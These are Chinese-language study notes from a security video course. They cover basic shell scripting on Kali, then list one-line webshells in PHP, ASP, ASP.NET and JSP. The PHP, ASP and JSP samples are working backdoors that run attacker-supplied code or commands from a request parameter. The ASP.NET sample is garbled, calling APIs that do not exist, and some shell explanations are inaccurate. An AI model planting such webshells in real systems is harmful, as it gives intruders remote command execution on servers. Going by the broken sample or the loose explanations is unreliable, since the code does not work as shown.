前言
本次学习的是在b站up主泷羽sec课程有感而发,如涉及侵权马上删除文章。
笔记的只是方便各位师傅学习知识,以下网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负。
!!注意:蓝色点击均可进入相关对应网站。
一、shell脚本创建和执行
进入kali
vim shell.sh 创建shell.sh
ls -l bin/sh
ls -l shell.sh
chmod 777 shell.sh 赋予最高权限
./shell.sh 就可以运行了
sh shell.sh 没有权限执行
bash shell.sh 脚本解释器,在你没有权限也会赋予权限执行
source shell.sh 同上,但是输出的结果颜色好看
name="blankspace" 定义name变量,输出blankspace
echo $name
age="16"
echo my name is $name and my age is $age years old
echo "my name is $name and my age is $age years old"
echo 'my name is $name and my age is $age years old'
echo my name is $name and my age is $ageasdasd years old
echo my name is $name and my age is "$age" years old
echo my name is $name and my age is {$age} years old
查看变量
set
set | grep name 查看name变量
unset name 删除name变量
二、一句话shell
<?php @eval($_POST['pass']);?> PHP 语言
<%eval request("pass")%> ASP 语言
ASP.NET语言(C# 语法示例)
<%@ Page Language="C#" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e)
{
if (Request.Form["pass"]!= null)
{
System.Web.UI.WebControls.TextBox1.Text = (string)Microsoft.CSharp.RuntimeBinder.RuntimeBinderException.ExecuteStatement(Request.Form["pass"].ToString());
}
}
</script>
JSP 语言(基于 Java 的服务器页面)
<%
if("pass".equals(request.getParameter("pass"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[1024];
out.print("<pre>");
while((a = in.read(b))!=-1){
out.print(new String(b,0,a));
}
out.print("</pre>");
}
%>
总结
今天学习了简单的shell,别以为结束了,接下来还要继续学习,以后好掌握shell做自己喜欢做的事,嘻嘻。